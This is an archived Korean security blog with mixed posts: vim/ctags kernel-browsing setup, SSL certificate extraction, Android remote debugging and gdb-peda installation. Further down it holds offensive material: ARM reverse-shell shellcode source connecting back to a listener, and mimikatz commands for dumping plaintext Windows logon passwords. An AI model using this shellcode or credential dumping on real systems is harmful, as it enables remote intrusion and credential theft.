2015. 1. 31. 22:35



vim plugin 관련 좋은 블로그 펌! 



출처 : http://www.iamroot.org/xe/Kernel_10_ARM/104190




1. 커널 소스 받기

https://www.kernel.org/ 에 접속하여 커널 소스를 받습니다. 저는 3.9.2를 받았습니다.(https://www.kernel.org/pub/linux/kernel/v3.x/linux-3.9.2.tar.xz)



2. 소스 압축 풀기

받은 소스 파일을 한글 경로가 안들어가있는 적절한 곳으로 옮깁니다. 저같은 경우는 ~/kernel_study/ 밑으로 옮겼습니다.

그리고 해당 파일의 압축을 풉니다. 압축 풀때는..


$ xz -d linux-3.9.2.tar.xz  

위와 같이 압축을 풀면 tar 파일이 나옵니다. tar 파일을 한번 더 풀어줍니다.

$ tar -xvf linux-3.9.2.tar

그러면 아카이빙이 풀리면서 폴더가 만들어집니다.



3. ctags로 소스 코드 태그 만들기

일단 ctags를 설치합니다.

$ sudo apt-get install ctags

기본적으로 태그를 생성하는 명령은 ctags -R인데 ctags -R은 모든 아키텍처에 대한 태그를 만들어 준다고 합니다. 

우리는 ARM아키텍쳐만 다루기 때문에 ARM으로 한정하여 생성해야 합니다.

이때 리눅스 커널 소스에 아키텍처별 ctags용 태그를 생성할 수 있는 스크립트가 제공된다고 합니다.

스크립트가 있나 없나 한번 확인해봅니다.

$ ls -al ./scripts/tags.sh

tags.sh가 있는 것이 확인되면 make 명령으로 ARM용 태그를 생성합니다.

$ make tags ARCH=arm
만드는데 시간이 좀 걸립니다. 


4. cscope 태그 데이터베이스 만들기
다음으로는 ctags를 보완해주기 위해 cscope를 설치해줍니다.
$ sudo apt-get install cscope
cscope DB를 생성하기 위해서는 분석할 파일들의 목록을 cscope.files 파일에 저장 한 후 생성해야되는데
리눅스 커널 소스에서는 이를 자동으로 구성해주는 스크립트를 내장하고 있습니다.
$ make cscope ARCH=arm


5. vim 플러그인설치
OB들의 책에서는 ctags와 cscope에 익숙하지 않다면 vim 플러그인을 추천합니다.
플러그인으로 Source Explorer, NERD Tree, Tag List를 추천하고 있습니다.
3개는 http://www.vim.org/ 에서 다운받을 수 있습니다.
vim사이트에서 좌측을 보시면 Download 밑에 Scripts라고 메뉴가 있습니다.
그것을 클릭 후 거기서 Browse all을 누릅니다.
그러면 하단부에 플러그인을 검색 할 수 있는 keywords와 type, sort by가 뜨는 것을 볼 수 있습니다.
keywords에서 검색하여 각각의 플러그인들을 다운받습니다.
각각의 주소는
입니다.

플러그인들을 설치하고 환경을 설정하기 위해 홈디렉토리로 가서 .vim 폴더를 만들어 줍니다.
그리고 다운받은 파일들을 홈디렉토리로 옮겨 줍니다.
그리고 .vim 폴더로 가서 하위폴더로 plugin폴더를 만들어 줍니다.
그 다음 각각의 파일들을 압축을 해제하여 줍니다.
압축을 풀면 각각의 플러그인마다 거시기.vim파일들이 나오는데
NERD_tree.vim  srcexpl.vim  taglist.vim
이 3개의 파일들을 ~/.vim/plugin/ 밑으로 복사 또는 이동합니다.
그러면 설치는 완료되고 환경설정이 남았습니다.

6. 환경설정
아까 설치한 ctag와 cscope를 연동하기 위해 vim 환경 파일인 .vimrc를 수정해야 합니다.
먼저 ctags와 cscope 데이터베이스 파일의 위치와 실행파일의 위치를 확인해봅니다.
$ whereis ctags
ctags: /usr/bin/ctags /usr/bin/X11/ctags /usr/share/man/man1/ctags.1.gz
$ whereis cscope
cscope: /usr/bin/cscope /usr/bin/X11/cscope /usr/share/man/man1/cscope.1.gz

그리고 vim 환경설정 파일을 엽니다.
$ vi ~/.vimrc
그리고 아래를 입력 해 줍니다.
 

  "vim환경설정
       set nu "line number
       set ai "auto indent
       set ts=4 "tab size
       set bg=dark "background color
   
   "ctags database path 설정
       set tags=~/kernel_study/linux-3.9.2/tags "각자 자신의 위치로..
   
  "cscope database path 설정
      set csprg=/usr/bin/cscope "whereis로 나온 cscope위치
      set csto=0 "cscope DB serch first
      set cst "cscope DB tag DB search
      set nocsverb "verbose off
  
      "cscope DB의 위치 설정
      cs add ~/kernel_study/linux-3.9.2/cscope.out ~/kernel_study/linux-3.9.2
      set csverb "verbose off
  
  "Tag List 환경설정
      filetype on "vim filetype on
      nmap <F7> :TlistToggle<CR> "F7 key = Tag List Toggling
      let Tlist_Ctags_Cmd = "/usr/bin/ctags"  "ctags 프로그램 위치
      let Tlist_Inc_Winwidth = 0 "window width change off
      let Tlist_Exit_OnlyWindow = 0 "tag/file 선택 완료 시 taglist
                      "window close =off
      let Tlist_Auto_Open = 0 "vim 시작 시 window open = off
      let Tlist_Use_Right_Window = 1 "vim 시작 시 window open = off
  
  "Source Explorer 환경설정
      nmap <F8> :SrcExplToggle<CR> "F8 key = SrcExpl Toggling
      nmap <C-H> <C-W>h "왼쪽 창으로 이동
      nmap <C-J> <C-W>j "하단(preview) 창으로 이동
      nmap <C-K> <C-W>k "상단 창으로 이동
      nmap <C-L> <C-W>l "오른쪽 창으로 이동
  
      let g:SrcExpl_winHeight = 8 "SrcExpl 윈도우 높이 지정
      let g:SrcExpl_refreshTime = 100 "refreshing time = 100ms
      let g:SrcExpl_jumpKey = "<ENTER>" "해당 definition으로 jump
      let g:SrcExpl_gobackKey = "<SPACE>" "back
      let g:SrcExpl_isUpdateTags = 0 "tag file update = off
  
  "NERD Tree
      let NERDTreeWinPos = "left" "NERD Tree위치 = 왼쪽
      nmap <F9> :NERDTreeToggle<CR> "F9 key = NERD Tree Toggling



CTAG 단축키 
ctag -R
1 :h [ 접두어 ] | [ 접미어 ] 해당명령어의 도움말 
2 Ctrl + Z  , fg  쉘로 빠져나가고 복귀
3 :ascii 현재 커서의 아스키값을 알아냄
4 yy + p 한줄 복사하여 붙여 넣기
5 "=G" 들여쓰기 재정렬 G는 재정렬을 적용할 범위를 나타냄
6 set autoindent  자동 들여쓰기
7 set smartindent 지능적인 들여쓰기?
8 set ruler 행 열번호,
9 set hlsearch 검색어 강조
10 vi -t < keyword > 태그 파일에서 keyword 와 일치하는 첫번째 위치로 이동
11 :ta < keyword > 실행중 특정태그를 검색
12 :tn , :tp 이전, 이후 태그로 이동
13 :tj 태그가 여러개일 경우 목록을 출력, 선택하면 이동가능
14 Ctrl + ] 커서가 위치한 keyword 의 정의부분으로 이동
15 Ctrl + t 이동후 이전 위치로 복귀 
CSCOPE 
# find . \( -name '*.c' -o -name '*.h' -o -name '*.s' -o -name '*.S' \) -print > cscope.files
cscope -i <filelist file>    : cscope.out 으로 데이터베이스 파일ㅇ ㅣ생성된다.
: cs add /usr/src/linux-3.0.4/cscope.out
cscope 사용 :cs find <검색유형> <검색어>
1 s 심볼을 검색
2 g global 변수를 검색
3 d 함수에 의해 호출되는 함수들을 검색
4 함수를 호출하는 함수들을 검색
5 t 텍스트 문자열을 검색
6 e 확장 정규식을 사용하여 검색
7 f 파일이름을 검색
8 i include 파일을 검색
9 :cn, :cp 다음 검색, 이전 검색


Posted by k1rha
2015. 1. 21. 13:37

SSL nego 중 서버가 클라이언트로 인증서(certificate)를 주게 된다.

서버나 클라이언트에서 인증서를 확보하지 않고 패킷 덤프에서 추출하는 방법을 기술한다.


1. wireshark로 SSL 패킷 덤프를 연다.

2. TCP 프로토콜 설정에서 "Allow subdissector to reassemble TCP streams" 옵션을 켠다.

3. SSL handshake 중 "Certificate" 가 포함된 패킷을 연다.

4. packet detail 부분에서 SSL protocol을 확장

5. "Certificate" TLS record 확장

6. "cettificate" handshake protocol 확장

7. certificates list 확장. 첫번째 certificate가 서버의 것이고 뒤에 오는 certificate은 CA 및 root CA의 것이다. certificate chaining 참조

8. 첫번째 certificate에다 오른쪽 클릭.

9. "Export selected packet bytes..." 선택. 

10. 이름 적고 세이브


여기까지 진행하면, DER format의 certificate가 추출된다.


human readable하게 바꾸기 위해서는 openssl 명령을 이용한다.


>> openssl x509 -inform der -in <파일명> -text (-onout)


많이 쓰는 PEM 방식으로 저장하려면,


>>  openssl x509 -inform der -in <파일명> -out <파일명.pem>


참고로 der과 pem은 인코딩 방식이며, 특히 pem은 ascii(base64)로 표현됨. '-- BEGIN' 으로 시작

crt, cer, key 확장자는 각각 다음과 같다.


* crt: certificate의 확장자. der 또는 pem 으로 인코딩 된다.

* cer: crt의 alterate form이며 MS convention. IE에서 인식.

* key: private 또는 public key의 확장자. crt와 마찬가지로 der 또는 pem으로 인코딩 된다.

Posted by k1rha
2015. 1. 19. 17:40

Presently, my phone is a Samsung Galaxy S3 GT-I9300. But in general the following steps should be applicable to any Android device.

First, download Android SDK and NDK. From SDK you can get the “adb” to connect into the phone. From NDK you can get the gdbserver in ARM binary, upload that to the phone via “adb”.

Next mount the /system as read-writeable:

mount -o rw,remount /dev/block/mmcblk0p9 /system

(the block device “/dev/block/mmcblk0p9″ is specific to my device, yours may differ. Just use “mount” to see which block device the “/system” directory is mounted on. If “/system” does not appear in “mount” command, then most probably the root filesystem block device should be used.)

And then copy the gdbserver from the Android NDK into /system/bin directory.

Next, assuming the process ID of the target process is 16835, then run this inside the Android phone:

gdbserver :4567 --attach 16835
Attached; pid = 16835
Listening on port 4567

In another PC (which is accessible by TCP/IP from the phone, download all the ARM-based libraries from the phone and run the gdb client):

Get all the ARM libraries and the target binaries (to be debugged, and in my case, it is called “debuggerd”) from mobile phone:

adb pull /system/lib /tmp/system_lib  ( 디바이스에서 lib 파일을 가져옴 )

And run the gdb client (which is from the NDK):


$ adb forward tcp:4567 tcp:4567


/android-ndk-r7/toolchains/arm-linux-androideabi-4.4.3/prebuilt/linux-x86/bin/arm-linux-androideabi-gdb /tmp/debuggerd (디바이스에서 바이너리를 가져옴 - 바이너리 에 있는 심볼을 가져오기 위함 )
(gdb) set auto-solib-add on
(gdb) target remote :
4567
(gdb) set solib-search-path /tmp/system_lib ( 디바이스에서 가져온 lib 파일 )


Subsequent messages:

Error while mapping shared library sections:
/system/bin/linker: No such file or directory.
Symbol file not found for /system/bin/linker
Reading symbols from /tmp/system_lib/libc.so...(no debugging symbols found)...done.
Loaded symbols for /tmp/system_lib/libc.so
Reading symbols from /tmp/system_lib/libstdc++.so...(no debugging symbols found)...done.
Loaded symbols for /tmp/system_lib/libstdc++.so
Reading symbols from /tmp/system_lib/libm.so...
(no debugging symbols found)...done.
Loaded symbols for /tmp/system_lib/libm.so
Reading symbols from /tmp/system_lib/libz.so...(no debugging symbols found)...done.
Loaded symbols for /tmp/system_lib/libz.so
Reading symbols from /tmp/system_lib/libcrypto.so...
(no debugging symbols found)...done.
Loaded symbols for /tmp/system_lib/libcrypto.so
Reading symbols from /tmp/system_lib/libssl.so...(no debugging symbols found)...done.
Loaded symbols for /tmp/system_lib/libssl.so
(gdb) info sharedlibrary
From To Syms Read Shared Object Library
No /system/bin/linker
0x4015a0c0 0x401882d4 Yes /tmp/system_lib/libc.so
0x4019e934 0x4019ea3c Yes /tmp/system_lib/libstdc++.so
0x401a1f70 0x401b1db8 Yes /tmp/system_lib/libm.so
0x400332a0 0x4004441c Yes /tmp/system_lib/libz.so
0x400b1a00 0x401172b8 Yes /tmp/system_lib/libcrypto.so
0x4005f530 0x4007798c Yes /tmp/system_lib/libssl.so
(gdb)

Posted by k1rha
2015. 1. 1. 23:34

[ 출 처: http://sangu1ne.tistory.com/98 ] 


아래와 같이 gdb소스를 받아서 파이썬 2.7을 사용한 gdb로 컴파일 하면 된다.


1.먼저 gdb-peda소스를 받는다.

https://github.com/longld/peda


2.다음을 입력한다.

echo "source ~/peda/peda.py" >> ~/.gdbinit


3.gdb 소스를 받는다.

http://ftp.gnu.org/gnu/gdb/


4.python2.7-dev 패키지를 받는다.  (이 패키지가 없으면 2.7버전을 사용해서 gdb를 컴파일 할 수 없음)

apt-get install python2.7-dev


5.libncurses5-dev 패키지를 받는다. (이 패키지가 없으면 termcap library found 에러가 난다)

apt-get install libncurses5-dev


http://www.embedded-it.de/en/bsp/eCross.php

6.gdb 소스가 있는 디렉토리로 가서, 다음을 입력한다.


./configure --with-python=python2

make

make install



Posted by k1rha
2015. 1. 1. 14:45




VM에 우분투 설치 후 한글 설정 삽질한 내용 정리

 - 문제점

   -->노트북의 한영키가 Alt키랑 같이 인식

 -해결 방법

   --> 1. compizconfig-settings-manager 설치(아래 명령어로 설치)

            $sudo apt-get install compizconfig-settings-manager

 

         2. compizconfig-settings-manager 실행 후에 알트키와 관련된 명령어 제거

             Ubuntu Unity Plugin 검색하여 아래 화면의 두 부분을 사용하지 않음으로 설정


Posted by k1rha
2014. 12. 2. 21:01


[ Android 에 lime 로 메모리 덤프 할때 참조한 URL ] 

대상 : Nexus 5  3.4.0 kernel    4.4.2 android kiket



1. https://code.google.com/p/volatility/wiki/AndroidMemoryForensics  //android 에뮬레이터에 lime 올리기

 

2. https://source.android.com/source/building-kernels.html#building  //안드로이드 커널 코드 받는곳

 ( 없으면 gitHub 에서 검색해도 가능  : https://github.com/CyanogenMod/android_device_lge_hammerhead ) 

  -> (gcc 버젼에 민감함... 에러를 뱉어낼때도 있음 필자는 4.6 버젼에서 성공


3. https://developers.google.com/android/nexus/images?hl=ko-KR#hammerheadkot49h  // 안드로이드 관련 커널 이미지 파일  (4번에서쓰임) 

 


4. http://blog.tunz.kr/115  // 안드로이드 custom  커널 이미지 파일 flash rom 에 다시 올리기. (그냥 있는 커널 이미지는 insmod 와 rmmod 가 없음 빌드시 1번 에뮬레이터 올리기 옵션을 .config 에 꼭 추가해서 빌드해줘야함  ) 

 

5. 루팅해도 boot.img 는 그대로 유지됨. 재루팅시켜줘야함. 



트러블 슈팅 : failed ( No such file or directory ) -> dmegs 출력해봄

symbol 없다거나 global_offset_table 이상이 있다고 나올 경우 - -fno-pic 옵션이 빠진거임


< lime 로 덤프한 내용을 tcp 로 바로 전송하기 > 


$ adb push lime.ko /sdcard/lime.ko
$ adb forward tcp:4444 tcp:4444
$ adb shell
$ su
# insmod /sdcard/lime.ko "path=tcp:4444 format=lime"

Now on the host machine, we can establish the connection and acquire memory using netcat

$ nc localhost 4444 > ram.lime

Acquiring to sdcard

# insmod /sdcard/lime.ko "path=/sdcard/ram.lime format=lime"

Posted by k1rha
2014. 11. 25. 09:42

링크 http://gogil.kr/66


Posted by k1rha
2014. 11. 8. 21:45
http://webcache.googleusercontent.com/search?q=cache:nkjOOvPZjPcJ:securitysucks.info/exploit-phps-mail-to-get-remote-code-execution/+&cd=1&hl=en&ct=clnk&gl=us



With that said, let’s just dive into it!

This is the code for exploiting the mail() function

Let’s inspect the logs from this. First let’s have a look at what we can see in the browser by only going to the rce.php file

Nothing really scary to see in this log. Now, let’s use the catcommand in the terminal on the same file

See anything a bit more interesting? Let’s try to execute some commands.

I visit http://localhost/rce.php?cmd=ls%20-la and get the following output

Now, let me break it down in case you don’t fully understand the code

Posted by k1rha
2014. 10. 24. 10:06

ARM 어셈블리 코딩하는데 생각한 노하우


---------------------------------------------------------------------------------

1. 일단 C 로 원형을 짠다.  =  write(1,"/bin/sh\x00",8);

2. 인자값 타입과 갯수를 아래에 정리한다. ( 포인터 값이 있는지 확인 )

   int write( int fd, void * buff, size_t t  )

3. system call number 확인한다  write == 4

4. designing 하기 return r0 _ r7( r0, r1, r2 ) 

5. 워드값 구성 작성

   1byte = .byte , 2byte = .short,  4byte =.word 닥치는 대로 하나의 함수 맨 아래쪽에 쓰면됨.

6. 인자값을 구성해야함 숫자 값은 최대 255까지 이고, 더 큰값은 add 로 더해서 맞춰 줘야함. 

    ( 권한은 8진수임 0777 일 경우 255+255+1 임 ) 

7. 인자값이 주소값으로 리턴되는 부분은 아닌지 판단하고 주소값으로 넘어가는 부분일 시

   sp + 4 ( 다음주소에) 한번 str 시키고, 그 sp +4 를 다시  add 를 통해 가져옴.  

   (ldr 은 값을 가져오기때문에 안됨 )

8. (objdump 로 떠본 후 ) sub inst, inst, inst 로 널값 제거

   (string 관련널은 +1 을 해준뒤 -1 을 해주는 방식으로 구현 

9. string 이 들어가는 인자값을 PC 카운터를 더하고 갯수를 세어 string 값을 가르키게함. 

 (사이에있는 인스트럭션 갯수를 더해준다는 생각으으로 하면 좋음  thumb*2 ARM*4 byte )

11. 컴파일. 

----------------------------------------------------------------------------------

// ARM reverse shellcode practice 

//     IP : 127.0.0.1    PORT 3333 

//     .word 0x050d0002 .word 0x0100007f

// 아직 string 으로 인한 널값을 제거하지 못함.

//



.global _start


#char *sh[2] = {"/bin/sh", NULL};


#int main()

#       sock = socket(PF_INET, SOCK_STREAM, 0);

#        serv_addr.sin_family = AF_INET;

#        serv_addr.sin_addr.s_addr = inet_addr(IP);

#        serv_addr.sin_port = htons(PORT);


        _start :

                .code 32


                        add r3, pc ,#1

                        bx      r3


                .code 16



# socket -- system call is 281

# socket(2,1,0 )

# r0=sock       r7=281   ( r0=2, r1=1, r2=0 )


                        mov r7, #255

                        add r7, #26

                        mov r0, #2

                        mov r1, #1

                        sub r2,r2,r2

                        svc 1


# connect -- system call is 283

# r0    =       r7 = 283        ( r0 = sock(return value) , r1 = &server_addr , r2 = 16 )

# server_addr.sin_family = AF_INET

# server ???                PORT   02(?)     1.0.0.127

# 0xa010 <serv_addr>:     0x050d00 02      0x0100007f

                        mov r8, r0

                        mov r7, #255

                        add r7, #28

                        mov r1, pc

                        add r1, #4

                        mov r2, #16

                        svc 1

                        .word 0x050d0002

                        .word 0x0100007f


# dump2 -- system call is 63

# dup2(sock,0);

# dup2(sock,1);

# dup2(sock,2);

#

# r0 -> sock structure

# r6 = r0

# r0    r7=64   ( r0 = r6, r1 = 0 );

# r0    r7=64   ( r0 = r6, r1 = 1 );

# r0    r7=64   ( r0 = r6, r1 = 2 );

                        mov r7 , #64

                        mov r0, r8

                        sub r1, r1, r1

                        mov r1, #0

                        svc 1

# r8= 4

                        mov r7, #64

                        mov r0, r8

                        mov r1, #1

                        svc 1

# r8=4

                        mov r7, #64

                        mov r0, r8

                        mov r1, #2

                        svc 1



# execve -- system call is 11

# char * buff[] = {"/bin/ls\x00",NULL};

# execve(buff[0],buff, 0);

# r0 r7 = 11 ( r0 = buff, r1= &buff, r2 = 0 )

# .word nib/

# .word sl/



                        mov r7 ,#11

                        sub r2, r2, r2

                        mov r0, pc

                        add r0, #10

                        str r0, [sp,#4]

                        sub r4, r4, r4

                        str r4, [sp,#8]

                        add r1, sp, #4

                        svc 1

                        .byte 0x2f

                        .short 0x7973

                        .word 0x6d657473

                        .word 0x6e69622f

                        .word 0x0068732f


# close -- system call is 6

# close(sock) sock = r6

# r0    r7 = 6  ( r0 = r6(sock) )


                        mov r7, #6

                        mov r0, r8

                        svc 1




Posted by k1rha
2014. 10. 21. 08:30

window 계정 패스워드 찾기 mimikatz


출처 : http://www.sysnet.pe.kr/Default.aspx?mode=2&sub=0&detail=1&pageno=0&wid=1666&rssMode=1&wtype=0




아래와 같은 글이 있어서,

윈도우7, 8의 취약점을 이용한 어드민 계정 탈취 가능 현상
; http://social.msdn.microsoft.com/Forums/ko-KR/5a52cdf9-7922-4b52-9ea7-f2f962b93ae3/7-8-?forum=vistako


mimikatz 도구에 대해 검색해 보았습니다. 현재 github에 소스코드까지 공개되어 있어 가벼운 마음으로 다운로드 받아 테스트를 시작했습니다.

gentilkiwi/mimikatz 
; https://github.com/gentilkiwi/mimikatz/releases


제가 다운로드 받은 버전은 오늘자 기준 최신 버전인 "mimikatz 2.0 alpha 20140501"이고, 제 VM 테스트 머신 중에 윈도우 8에서 실행했으나 다음과 같이 동작하지 않았습니다.


아래의 소개 PPT 자료에 보니,

mimikatz
; http://fr.slideshare.net/gentilkiwi/mimikatz-ossir


XP, 2003, Vista, 2008, 7, 2008R2, 8, 2012의 x86/x64 버전에서 동작한다고 하는데 이상하군요. 혹시나 싶어 cmd.exe를 "관리자 권한"으로 실행시킨 다음 "privilege::debug" 명령을 실행해 보았습니다. 그랬더니 성공합니다. ^^

mimikatz # privilege::debug
Privilege '20' OK


그 다음 "sekurlsa::logonpasswords" 명령을 내리면 계정의 암호가 평문과 함께 출력됩니다. (테스트 해보니 8.1에서도 동작합니다.)

재미있는 점이 있다면, 현재 "로그인 중인 사용자 계정과 컴퓨터가 실행 중인 동안 로그인을 했던 사용자에 한해서만" 암호를 알아낼 수 있다는 점입니다. 즉, 컴퓨터에 계정이 등록되었다고 해도 mimikatz를 실행하는 시점의 컴퓨터가 살아 있는 동안 로그인을 한 적이 없다면 그 사용자 계정의 암호는 알아낼 수 없습니다.




Posted by k1rha